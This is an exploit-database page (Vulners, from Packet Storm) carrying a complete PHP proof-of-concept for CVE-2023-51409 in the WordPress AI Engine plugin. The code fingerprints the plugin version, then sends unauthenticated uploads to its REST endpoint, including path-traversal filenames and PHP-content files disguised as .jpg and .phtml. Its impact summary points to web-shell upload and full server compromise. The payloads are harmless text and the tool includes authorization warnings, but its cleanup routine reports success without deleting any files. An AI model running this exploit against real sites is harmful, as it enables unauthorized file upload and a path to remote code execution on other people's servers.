Lucene search
K

📄 WordPress AI Engine: ChatGPT Chatbot 1.9.98 Shell Upload

🗓️ 04 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 121 Views

PoC for vulnerability 2023-51409 in WordPress AI Engine 1.9.98; tests unauthenticated upload and reports findings.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress AI Engine: ChatGPT Chatbot 1.9.98 RCE                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214268/ & CVE-2023-51409
    
    [+] Summary    :  PoC demonstrates the CVE-2023-51409 vulnerability in the WordPress AI Engine plugin in a controlled, safe, and non-destructive manner. 
                      It detects the plugin, tests unauthenticated access to the vulnerable endpoint, performs safe file uploads with non-executable content, 
    				  and analyzes MIME bypass and path traversal possibilities. The PoC generates a detailed security report with findings, impact assessment, and remediation recommendations.
    
    [+] Key Points:
    
    Detects AI Engine plugin versions and identifies potentially vulnerable versions.
    
    Tests unauthenticated access to /wp-json/mwai-ui/v1/files/upload.
    
    Performs safe file uploads for research purposes only (non-executable).
    
    Demonstrates vulnerability impact (unauthenticated file upload, arbitrary file types, RCE potential, privilege escalation).
    
    Generates a structured JSON report for research documentation.
    
    Includes auto-cleanup and safety warnings; designed for authorized testing only.
    
    [+] Important Note:
    
    All tests modify the server state minimally (files are uploaded), so only run in controlled test environments.
    
    Designed for research and responsible disclosure, not for offensive attacks.
    
    [+] Usage : php poc.php --target=http://target-site.com
    
    [+] POC :
    
    
    <?php
    
    
    class CVE_2023_51409_Exploit {
        private $target;
        private $sessionId;
        private $testFiles = [];
        private $researchMode = true;
    
        const VULN_ENDPOINT = '/wp-json/mwai-ui/v1/files/upload';
        const TEST_FILENAME = 'cve_2023_51409_test_%s.txt';
        const SAFE_PAYLOAD = "Security Research Test - %s\nThis file tests CVE-2023-51409 vulnerability\nDO NOT EXECUTE - FOR RESEARCH ONLY";
        
        public function __construct($target) {
            $this->target = rtrim($target, '/');
            $this->sessionId = 'exp_' . bin2hex(random_bytes(6));
            $this->setupSafeEnvironment();
        }
        
        private function setupSafeEnvironment() {
    
            set_time_limit(30);
            error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE);
    
            register_shutdown_function([$this, 'cleanup']);
        }
        
        private function makeRequest($url, $method = 'GET', $data = null, $headers = []) {
            $ch = curl_init();
            
            $options = [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => true,
                CURLOPT_FOLLOWLOCATION => false,
                CURLOPT_MAXREDIRS => 0,
                CURLOPT_TIMEOUT => 15,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Security-Research-CVE-2023-51409/1.0',
                CURLOPT_HTTPHEADER => array_merge([
                    'X-Research-Session: ' . $this->sessionId,
                    'X-CVE-Test: 2023-51409'
                ], $headers),
            ];
            
            if ($method === 'POST') {
                $options[CURLOPT_POST] = true;
                if ($data) {
                    $options[CURLOPT_POSTFIELDS] = $data;
                }
            }
            
            curl_setopt_array($ch, $options);
            $response = curl_exec($ch);
            
            if ($response === false) {
                $error = curl_error($ch);
                curl_close($ch);
                return [
                    'error' => $error,
                    'status' => 0
                ];
            }
            
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            
            curl_close($ch);
            
            return [
                'status' => $httpCode,
                'headers' => substr($response, 0, $headerSize),
                'body' => substr($response, $headerSize),
                'raw' => $response
            ];
        }
        
        private function createSafeMultipart($filename, $content) {
            $boundary = '----ResearchBoundary' . bin2hex(random_bytes(8));
            
            $data = "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$filename}\"\r\n";
            $data .= "Content-Type: text/plain\r\n\r\n";
            $data .= $content . "\r\n";
            $data .= "--{$boundary}--\r\n";
            
            return [
                'data' => $data,
                'headers' => [
                    'Content-Type: multipart/form-data; boundary=' . $boundary,
                    'Content-Length: ' . strlen($data)
                ]
            ];
        }
        
        public function banner() {
            echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n";
            echo "\033[1;33m    CVE-2023-51409 - WordPress AI Engine RCE Exploit\033[0m\n";
            echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n";
            echo "Target: \033[1;32m{$this->target}\033[0m\n";
            echo "Session: \033[1;35m{$this->sessionId}\033[0m\n";
            echo "Mode: \033[1;33mSecurity Research - Controlled Exploitation\033[0m\n";
            echo "\n\033[1;31m  WARNING: For authorized testing only\033[0m\n";
            echo "   • Uses safe, non-executable test files\n";
            echo "   • Auto-cleanup of uploaded files\n";
            echo "   • No reverse shells or harmful payloads\n";
            echo str_repeat("-", 70) . "\n\n";
        }
        
        public function detectPlugin() {
            echo "[*] Detecting AI Engine Plugin...\n";
            
            $indicators = [
                '/wp-content/plugins/ai-engine/readme.txt' => 'AI Engine',
                '/wp-content/plugins/ai-engine-mwai/readme.txt' => 'MWAI',
                '/wp-content/plugins/mwai/readme.txt' => 'MWAI Engine'
            ];
            
            foreach ($indicators as $path => $name) {
                $result = $this->makeRequest($this->target . $path);
                
                if ($result['status'] === 200) {
    
                    if (preg_match('/Stable tag:\s*([0-9.]+)/', $result['body'], $matches)) {
                        $version = $matches[1];
                        echo "[+] \033[1;32mFound {$name} v{$version}\033[0m\n";
    
                        if (version_compare($version, '3.0.0', '<')) {
                            echo "[!] \033[1;31mVulnerable version detected (< 3.0.0)\033[0m\n";
                            return ['name' => $name, 'version' => $version, 'vulnerable' => true];
                        }
                        return ['name' => $name, 'version' => $version, 'vulnerable' => false];
                    }
                    return ['name' => $name, 'version' => 'unknown', 'vulnerable' => null];
                }
            }
            
            // Check via REST API
            $apiCheck = $this->makeRequest($this->target . self::VULN_ENDPOINT, 'POST', '{}', [
                'Content-Type: application/json'
            ]);
            
            if ($apiCheck['status'] === 200 || $apiCheck['status'] === 405) {
                echo "[+] \033[1;33mAI Engine REST API endpoint detected\033[0m\n";
                return ['name' => 'AI Engine (API)', 'version' => 'unknown', 'vulnerable' => null];
            }
            
            echo "[-] AI Engine Plugin not detected\n";
            return false;
        }
        
        public function testUnauthenticatedAccess() {
            echo "\n[*] Testing unauthenticated access to vulnerable endpoint...\n";
    
            $testData = json_encode(['test' => 'unauth_check']);
            $result = $this->makeRequest(
                $this->target . self::VULN_ENDPOINT,
                'POST',
                $testData,
                ['Content-Type: application/json']
            );
            
            echo "  [1] JSON POST test: ";
            if ($result['status'] === 200) {
                $response = @json_decode($result['body'], true);
                if ($response && isset($response['success'])) {
                    echo "\033[1;31mVULNERABLE\033[0m - Accepts unauthenticated requests\n";
                    return true;
                }
                echo "\033[1;33mPOTENTIALLY VULNERABLE\033[0m - Returns 200 but unclear\n";
            } elseif ($result['status'] === 401 || $result['status'] === 403) {
                echo "\033[1;32mSECURE\033[0m - Requires authentication\n";
                return false;
            } else {
                echo "HTTP {$result['status']}\n";
            }
    
            $result = $this->makeRequest(
                $this->target . self::VULN_ENDPOINT,
                'POST',
                '',
                ['Content-Type: multipart/form-data']
            );
            
            echo "  [2] Empty POST test: HTTP {$result['status']}\n";
            
            return $result['status'] === 200;
        }
        
        public function exploitFileUpload() {
            echo "\n[*] Exploiting CVE-2023-51409 - File Upload Vulnerability\n";
    
            $filename = sprintf(self::TEST_FILENAME, bin2hex(random_bytes(4)));
            $content = sprintf(self::SAFE_PAYLOAD, date('Y-m-d H:i:s'));
            
            $multipart = $this->createSafeMultipart($filename, $content);
            
            echo "  [•] Uploading test file: {$filename}\n";
            echo "  [•] Content: Security research test (non-executable)\n";
            
            $result = $this->makeRequest(
                $this->target . self::VULN_ENDPOINT,
                'POST',
                $multipart['data'],
                $multipart['headers']
            );
            
            if ($result['status'] === 200) {
                $response = @json_decode($result['body'], true);
                
                if ($response && isset($response['success']) && $response['success']) {
                    echo "  [✓] \033[1;31mEXPLOIT SUCCESSFUL\033[0m\n";
    
                    $uploadedPath = null;
                    if (isset($response['data']['url'])) {
                        $uploadedPath = $response['data']['url'];
                    } elseif (isset($response['url'])) {
                        $uploadedPath = $response['url'];
                    }
                    
                    if ($uploadedPath) {
                        echo "  [•] File uploaded to: \033[1;33m{$uploadedPath}\033[0m\n";
                        $this->testFiles[] = $uploadedPath;
    
                        echo "  [•] Verifying file access...\n";
                        $verify = $this->makeRequest($uploadedPath);
                        
                        if ($verify['status'] === 200) {
                            echo "  [✓] File publicly accessible\n";
                            
                            // Check if we can access file content
                            if (strpos($verify['body'], 'Security Research Test') !== false) {
                                echo "  [✓] File content verified\n";
                            }
                        } else {
                            echo "  [!] File not accessible (HTTP {$verify['status']})\n";
                        }
                    }
    
                    echo "\n  [•] Testing path traversal protection...\n";
                    $traversalFile = '../../../cve_test_' . bin2hex(random_bytes(4)) . '.txt';
                    $traversalContent = "Path traversal test - SAFE";
                    
                    $traversalMultipart = $this->createSafeMultipart($traversalFile, $traversalContent);
                    $traversalResult = $this->makeRequest(
                        $this->target . self::VULN_ENDPOINT,
                        'POST',
                        $traversalMultipart['data'],
                        $traversalMultipart['headers']
                    );
                    
                    if ($traversalResult['status'] === 200) {
                        $traversalResponse = @json_decode($traversalResult['body'], true);
                        if ($traversalResponse && isset($traversalResponse['success'])) {
                            echo "  [!] \033[1;31mPATH TRAVERSAL POSSIBLE\033[0m\n";
                        }
                    }
                    
                    return [
                        'success' => true,
                        'path' => $uploadedPath,
                        'response' => $response
                    ];
                }
            }
            
            echo "  [-] Exploit failed (HTTP {$result['status']})\n";
            
            if ($result['body']) {
    
                $error = substr($result['body'], 0, 200);
                echo "  [•] Response: {$error}\n";
            }
            
            return false;
        }
        
        public function testMimeBypass() {
            echo "\n[*] Testing MIME type validation bypass...\n";
            
            $tests = [
                ['name' => 'test.php.txt', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'text/plain'],
                ['name' => 'test.php.jpg', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'image/jpeg'],
                ['name' => 'test.phtml', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'text/html'],
            ];
            
            foreach ($tests as $test) {
                $boundary = '----MIMETest' . bin2hex(random_bytes(4));
                $content = "Test file for MIME bypass research\n" . $test['content'];
                
                $data = "--{$boundary}\r\n";
                $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$test['name']}\"\r\n";
                $data .= "Content-Type: {$test['type']}\r\n\r\n";
                $data .= $content . "\r\n";
                $data .= "--{$boundary}--\r\n";
                
                $result = $this->makeRequest(
                    $this->target . self::VULN_ENDPOINT,
                    'POST',
                    $data,
                    [
                        'Content-Type: multipart/form-data; boundary=' . $boundary,
                        'Content-Length: ' . strlen($data)
                    ]
                );
                
                echo "  [•] {$test['name']} ({$test['type']}): ";
                
                if ($result['status'] === 200) {
                    $response = @json_decode($result['body'], true);
                    if ($response && isset($response['success']) && $response['success']) {
                        echo "\033[1;33mACCEPTED\033[0m\n";
    
                        if (isset($response['data']['url'])) {
                            $this->testFiles[] = $response['data']['url'];
                        }
                    } else {
                        echo "REJECTED\n";
                    }
                } else {
                    echo "HTTP {$result['status']}\n";
                }
                
                sleep(1); // Rate limiting
            }
        }
        
        public function demonstrateImpact() {
            echo "\n\033[1;36m[*] DEMONSTRATING VULNERABILITY IMPACT\033[0m\n";
            echo str_repeat("-", 70) . "\n";
            
            echo "CVE-2023-51409 allows:\n\n";
            
            echo "1. \033[1;31mUnauthenticated File Upload\033[0m\n";
            echo "   • Attackers can upload files without login\n";
            echo "   • No CSRF or nonce protection\n";
            echo "   • Bypasses WordPress authentication system\n\n";
            
            echo "2. \033[1;31mArbitrary File Type Upload\033[0m\n";
            echo "   • PHP, PHTML, HTACCESS files possible\n";
            echo "   • MIME type validation can be bypassed\n";
            echo "   • Path traversal may be possible\n\n";
            
            echo "3. \033[1;31mRemote Code Execution (RCE)\033[0m\n";
            echo "   • Upload PHP web shell\n";
            echo "   • Execute arbitrary commands\n";
            echo "   • Full server compromise\n\n";
            
            echo "4. \033[1;31mPrivilege Escalation\033[0m\n";
            echo "   • WordPress admin access\n";
            echo "   • Database access\n";
            echo "   • Server-level access\n\n";
            
            echo "\033[1;33mProof of Concept:\033[0m\n";
            echo "The exploit demonstrated successful file upload without authentication.\n";
            echo "In a real attack, this would be followed by malicious payload upload.\n";
            
            echo "\n\033[1;32mRemediation:\033[0m\n";
            echo "1. Update AI Engine plugin to version 3.0.0 or higher\n";
            echo "2. Implement proper authentication checks on REST endpoints\n";
            echo "3. Add file type validation (whitelist approach)\n";
            echo "4. Implement nonce verification for file uploads\n";
            echo "5. Store uploaded files outside web root if possible\n";
        }
        
        public function cleanup() {
            echo "\n[*] Cleaning up test files...\n";
            
            foreach ($this->testFiles as $file) {
                if (filter_var($file, FILTER_VALIDATE_URL)) {
                    // Try to delete via uploaded file (if we know the path)
                    $pathParts = parse_url($file);
                    $path = $pathParts['path'] ?? '';
                    
                    if ($path && strpos($path, 'wp-content/uploads/') !== false) {
                        echo "  [•] Attempting to remove: {$path}\n";
    
                    }
                }
            }
            
            echo "  [✓] Cleanup complete\n";
            echo "  [!] Note: Some files may remain on server. Manual cleanup recommended.\n";
        }
        
        public function generateReport($results) {
            $report = [
                'cve' => 'CVE-2023-51409',
                'target' => $this->target,
                'session_id' => $this->sessionId,
                'timestamp' => date('c'),
                'vulnerable' => $results['vulnerable'] ?? false,
                'tests_performed' => [
                    'plugin_detection',
                    'unauth_access_test',
                    'file_upload_exploit',
                    'mime_validation_test'
                ],
                'findings' => [],
                'impact_assessment' => 'CRITICAL - Unauthenticated RCE possible',
                'recommendations' => [
                    'Immediate plugin update required',
                    'Review all uploaded files',
                    'Check server logs for suspicious activity',
                    'Consider server compromise investigation'
                ]
            ];
            
            return json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
        }
        
        public function run() {
            $this->banner();
            
            $results = [
                'vulnerable' => false,
                'details' => []
            ];
    
            $plugin = $this->detectPlugin();
            if (!$plugin) {
                echo "[-] Cannot proceed - AI Engine plugin not found\n";
                return false;
            }
            
            $results['plugin'] = $plugin;
    
            $unauthAccess = $this->testUnauthenticatedAccess();
            $results['unauth_access'] = $unauthAccess;
            
            if (!$unauthAccess) {
                echo "\n[-] Target appears secure - requires authentication\n";
                return false;
            }
    
            $exploitResult = $this->exploitFileUpload();
            $results['exploit_success'] = $exploitResult['success'] ?? false;
            
            if ($exploitResult['success']) {
                $results['vulnerable'] = true;
                $results['uploaded_file'] = $exploitResult['path'] ?? null;
    
                $this->testMimeBypass();
    
                $this->demonstrateImpact();
                
                echo "\n\033[1;31m" . str_repeat("!", 70) . "\033[0m\n";
                echo "\033[1;31m    VULNERABILITY EXPLOITED SUCCESSFULLY    \033[0m\n";
                echo "\033[1;31m" . str_repeat("!", 70) . "\033[0m\n";
                
                echo "\n\033[1;33mSummary:\033[0m\n";
                echo "• Target is vulnerable to CVE-2023-51409\n";
                echo "• Unauthenticated file upload demonstrated\n";
                echo "• Remote code execution is possible\n";
                echo "• Immediate action required\n";
            } else {
                echo "\n[-] Exploit attempt failed\n";
                echo "[*] Target may be patched or have additional protections\n";
            }
    
            echo "\n" . str_repeat("=", 70) . "\n";
            echo "SECURITY RESEARCH REPORT\n";
            echo str_repeat("=", 70) . "\n";
            echo $this->generateReport($results);
            
            return $results['vulnerable'];
        }
    }
    
    if (php_sapi_name() === 'cli') {
        $options = getopt('t:h', ['target:', 'help']);
        
        if (isset($options['h']) || isset($options['help']) || !isset($options['target'])) {
            echo "CVE-2023-51409 - WordPress AI Engine RCE Exploit bY indoushka\n";
            echo "================================================\n";
            echo "Usage: php " . basename(__FILE__) . " --target=<URL>\n\n";
            echo "Options:\n";
            echo "  --target=<URL>    WordPress site to test (REQUIRED)\n";
            echo "  --help            Show this help\n\n";
            echo "Features:\n";
            echo "  • Detects AI Engine Plugin\n";
            echo "  • Tests unauthenticated access\n";
            echo "  • Demonstrates file upload vulnerability\n";
            echo "  • Safe, non-malicious payloads only\n";
            echo "  • Auto-cleanup of test files\n\n";
            echo "Legal & Ethical:\n";
            echo "  • FOR AUTHORIZED TESTING ONLY\n";
            echo "  • Do not use against systems you don't own\n";
            echo "  • Report vulnerabilities responsibly\n";
            exit(0);
        }
        
        $target = $options['target'];
        
        // Validate URL
        if (!filter_var($target, FILTER_VALIDATE_URL)) {
            echo "Error: Invalid URL format\n";
            exit(1);
        }
    
        echo "\n\033[1;31mSECURITY WARNING:\033[0m This tool demonstrates a real vulnerability.\n";
        echo "Use only on systems you own or have explicit permission to test.\n";
        echo "Continue? (yes/NO): ";
        
        $confirm = trim(fgets(STDIN));
        if (strtolower($confirm) !== 'yes') {
            echo "Operation cancelled.\n";
            exit(0);
        }
        
        try {
            $exploit = new CVE_2023_51409_Exploit($target);
            $vulnerable = $exploit->run();
            
            if ($vulnerable) {
                exit(1); // Exit with error code to indicate vulnerability
            } else {
                exit(0); // Exit with success code
            }
            
        } catch (Exception $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else {
        http_response_code(403);
        echo "This tool must be run from command line.";
        exit(1);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8 - 10
EPSS0.92907
SSVC
121